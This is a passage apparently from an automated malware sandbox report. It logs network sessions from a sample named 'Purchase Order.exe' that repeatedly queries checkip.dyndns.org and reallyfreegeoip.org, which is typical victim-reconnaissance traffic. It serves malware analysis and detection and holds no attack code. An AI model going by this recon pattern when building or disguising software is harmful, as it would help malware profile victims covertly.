Oct 21, 2024 11:30:30.547357082 CEST	1060	IN	Data Raw: c0 73 d1 d7 2e 37 2c 95 0f 88 fb 28 a2 69 31 66 f1 ad 80 57 98 dc b5 2e 26 33 a3 77 83 d8 04 13 80 a2 13 19 52 b5 4a ab 91 2c f0 c3 c5 9a 28 c0 6c 2f 08 06 01 8f 16 3b 17 de 0d e0 ca a1 0b d1 f9 2f 58 93 14 00 36 87 08 cf 15 c2 65 95 d4 de ac b3 Data Ascii: s.7,(i1fW.&3wRJ,(l/;/X6e5UyfPyVDr\|;:+6by,OA0sc+/:{,d!\Q<F7vFpe.{hc?g}HK6V\|wXL}~"9(HR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49976	193.122.130.0	80	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 11:30:33.046765089 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 21, 2024 11:30:33.715333939 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:33 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e92251fe081a10bd4eed4c08900fdf62 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>
Oct 21, 2024 11:30:33.719268084 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 21, 2024 11:30:35.875432968 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Mon, 21 Oct 2024 09:30:35 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: e412a16d97170baeb005adc2578140c1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 21, 2024 11:30:35.994040966 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 21, 2024 11:30:38.151431084 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Mon, 21 Oct 2024 09:30:38 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: b7cc3054e6217e789d216f9ad72e7896 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 21, 2024 11:30:38.155378103 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 21, 2024 11:30:38.328026056 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:38 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2ad853c130a679424400a9ebf91acb41 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>
Oct 21, 2024 11:30:39.647559881 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 21, 2024 11:30:39.986489058 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:39 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: de5864ab80c8ca587b9c8454abbe64b7 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49979	193.122.130.0	80	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 11:30:40.749135971 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 21, 2024 11:30:41.406460047 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:41 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 848176bbedba5d7bef065554f33a9d58 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49981	193.122.130.0	80	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 11:30:42.166743040 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 21, 2024 11:30:44.844923973 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Mon, 21 Oct 2024 09:30:44 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: 86c0d4888de24f120fa3a0613bf614e7 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49982	193.122.130.0	80	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 11:30:44.855762959 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 21, 2024 11:30:46.230880022 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:46 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 49619a9c7d79fc12d5b3f0fe1936f3a0 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49984	193.122.130.0	80	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 11:30:46.995786905 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 21, 2024 11:30:48.290724039 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:48 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 21b387470737ce7c04fa52b074e54280 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49986	193.122.130.0	80	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 11:30:49.069955111 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 21, 2024 11:30:51.695322037 CEST	323	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:51 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1089645dde8ac563cb74f30bb2bc385c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 155.94.241.186</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49977	188.114.97.3	443	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 09:30:39 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-21 09:30:39 UTC	896	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:39 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 28704 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BlZ5fBtHwOTFp3cCgdqin%2FgxrcrYzUd8TAK%2BtbAXP5LJqYKqOMYVJEZA%2B4dUuOO72sseP040J7N0jetQ8Q3XVN7l1bAdimIgZdwk1zUWRxHp52C7u2EoePBawynUHd5UnEbTy6ma"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d603aed48596b94-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1072&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2683966&cwnd=251&unsent_bytes=0&cid=90598d342631fa25&ts=400&x=0"
2024-10-21 09:30:39 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 09:30:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49978	188.114.97.3	443	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 09:30:40 UTC	63	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-21 09:30:40 UTC	892	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:40 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 28705 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EWdGiExe7pSqgNqDI2ZjwbICLm433Fws82CzMdNNgVhETqvtFWvzVs1f%2FrSyz9sKxuWVBfMvzGrIe9JA2%2BFUxer9aYjMcJ5yfqEIIlv5muldBqCOGuvaqfY3ojVEY3F3woYyw22Q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d603af42865ddb0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1200&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2397350&cwnd=252&unsent_bytes=0&cid=59ee70fbad56a2ac&ts=143&x=0"
2024-10-21 09:30:40 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 09:30:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49980	188.114.97.3	443	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 09:30:42 UTC	63	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-21 09:30:42 UTC	896	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:42 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 28707 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BR69Jg2%2FgQZ9OSt70ivAi9WHopIH7E8ptGGxJy5TJ6HRmx0OVPLKNvNgbb7gJnoiKIHVp2H6ChKMQuYhmRTX5gAntpt1%2FAYt0mr%2BisLB0Pjfkaf6ldPzi3LdAnY3%2BG2nW6T7CNjl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d603afd0b3c4689-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1159&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2441821&cwnd=251&unsent_bytes=0&cid=b2ff4b60a6b78396&ts=144&x=0"
2024-10-21 09:30:42 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 09:30:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49983	188.114.97.3	443	3340	C:\Users\user\Desktop\Purchase Order.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-21 09:30:46 UTC	87	OUT	GET /xml/155.94.241.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-21 09:30:46 UTC	898	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 09:30:46 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 28711 Last-Modified: Mon, 21 Oct 2024 01:32:15 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=opTVkZCLn5Xt%2BSwnpKIL8RiYLqTpMOFusfVCmVmJDR%2FGfcz2aQC63s4k8T7Pjy36wEVrsuZyivEJYcHDgMl5PzdJDm%2FgHLcnynVVF8fMkep0mISsV248CDe8O9xV1%2FldB%2FoFB08J"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d603b1b3d0e6c30-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1258&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2234567&cwnd=248&unsent_bytes=0&cid=502905d619c772ec&ts=144&x=0"
2024-10-21 09:30:46 UTC	365	IN	Data Raw: 31 36 36 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 44 61 6c 6c 61 73 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 35 32 34 37 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a Data Ascii: 166<Response><IP>155.94.241.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Dallas</City><ZipCode>75247</ZipCode><TimeZone>America/Chicago</TimeZ
2024-10-21 09:30:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49985	188.114.97.3	443	3340	C:\Users\user\Desktop\Purchase Order.exe

